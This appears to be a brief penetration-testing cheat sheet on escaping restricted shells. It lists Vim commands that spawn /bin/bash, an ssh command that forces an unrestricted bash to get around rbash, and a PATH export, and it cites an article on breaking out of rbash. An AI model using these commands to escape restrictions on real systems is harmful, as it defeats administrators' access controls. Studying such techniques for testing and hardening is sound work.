Restricted shell escaping

Vim

:!/bin/bash
:set shell=/bin/bash
:shell

Rbash

ssh user@192.168.192.85 -t "bash --noprofile"
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

How to BREAKOUT of rbash (Restricted Bash)System Weakness